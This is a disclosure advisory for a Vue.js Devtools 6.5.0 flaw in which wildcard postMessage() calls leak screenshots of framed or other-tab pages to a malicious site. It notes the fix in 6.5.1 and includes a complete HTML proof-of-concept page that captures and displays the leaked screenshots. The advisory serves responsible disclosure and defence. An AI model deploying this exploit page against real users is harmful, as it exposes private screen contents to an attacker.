Headline
CVE-2023-5718: Vuejs Dev Tools v6.5.0 Sensitive Information Leaked to Malicious Web Page
The Vue.js Devtools extension was found to leak screenshot data back to a malicious web page via the standard postMessage()
API. By creating a malicious web page with an iFrame targeting a sensitive resource (i.e. a locally accessible file or sensitive website), and registering a listener on the web page, the extension sent messages back to the listener, containing the base64 encoded screenshot data of the sensitive resource.
Disclosure Status
I have disclosed this to the maintainer, who issued a fix (by disabling the screenshot functionality by default) in version 6.5.1
Commits
https://github.com/vuejs/devtools/releases/tag/v6.5.1
https://github.com/vuejs/devtools/commit/3444bdd8
Technical Details:
The Vue.js Devtools extension was found to leak screenshot data back to a malicious web page via the standard postMessage() API. By creating a malicious web page with an iFrame targeting a sensitive resource (i.e. a locally accessible file or sensitive website), and registering a listener on the web page, the extension sent messages back to the listener, containing the base64 encoded screenshot data of the sensitive resource.
Some user interaction was required, as the messages containing screenshot data were only sent when the victim hovered over the timeline bars in the timeline tab (see below)
Some mitigations exist in terms of the website that can be targeted by the malicious web page, as the target site must allow being embedded within iFrames (i.e. the X-Frame-Options HTTP response header must not be present or must explicitly allow the target site). However, it was found that other tabs with the Vue.js devtools extension active also leaked screenshot data back to the malicious web page, increasing the chance of sensitive information disclosure.
The code below shows how the extension uses a wildcard in the postMessage() function call (*) to send the messages back to the web page listeners, which is why screenshot data from separate tabs can be leaked.
const bridge = new Bridge({ listen (fn) { window.addEventListener('message’, evt => fn(evt.data)) }, send (data) { if (process.env.NODE_ENV !== ‘production’) { console.log('%cbackend -> devtools’, 'color:#888;’, data) } window.parent.postMessage(data, ‘*’) }, })
PoC
In the proof-of-concept Vue.js application below, the standard window.addEventListener(‘message’ <listener>) API is used to register a listener on the malicious web page. The setInterval() function is used to regularly simulate clicks on the PoC page, as these (mouse, keyboard etc) events are what trigger the page capture APIs to generate screenshot data. The handleScreenshot() function checks each incoming message for the expected parameters and converts the incoming base64 encoded screenshot data into an image, which is embedded into the PoC page. In reality, the base64 data would probably be silently exfiltrated to a malicious backend server.
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>postMessage() PoC</title> <script src="https://unpkg.com/vue@3/dist/vue.global.js"></script> </head> <body> <div id="app"> <iframe src="https://www.wikipedia.org" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden;"></iframe> </div> <script> const { createApp, ref } = Vue
createApp({
setup() {
const message \= ref('Hello vue!')
return {
message
}
}
}).mount('#app')
</script\>
<script\>
function dummyClick() {
console.log('Simulating click on PoC page..')
document.body.click();
}
function listenForMsg() {
window.addEventListener("message", (msg) \=> {
console.log(\`Got message in PoC page (window.addEventListener): ${JSON.stringify(msg.data)}\`);
handleScreenshot(msg.data);
});
console.log(\`Added message listener (window.addEventListener)..\`);
}
function handleScreenshot(data) {
if (data.payload && data.payload.length \> 0) {
data.payload.forEach((event) \=> {
if (event.event \=== 'b:timeline:show-screenshot' && event.payload.screenshot) {
console.log(\`Got screenshot with id: ${event.payload.screenshot.id}\`);
let img \= new Image();
img.src \= event.payload.screenshot.image;
document.body.append(img);
}
}, null);
}
}
listenForMsg();
setInterval(dummyClick, 1500);
</script\>
</body> </html>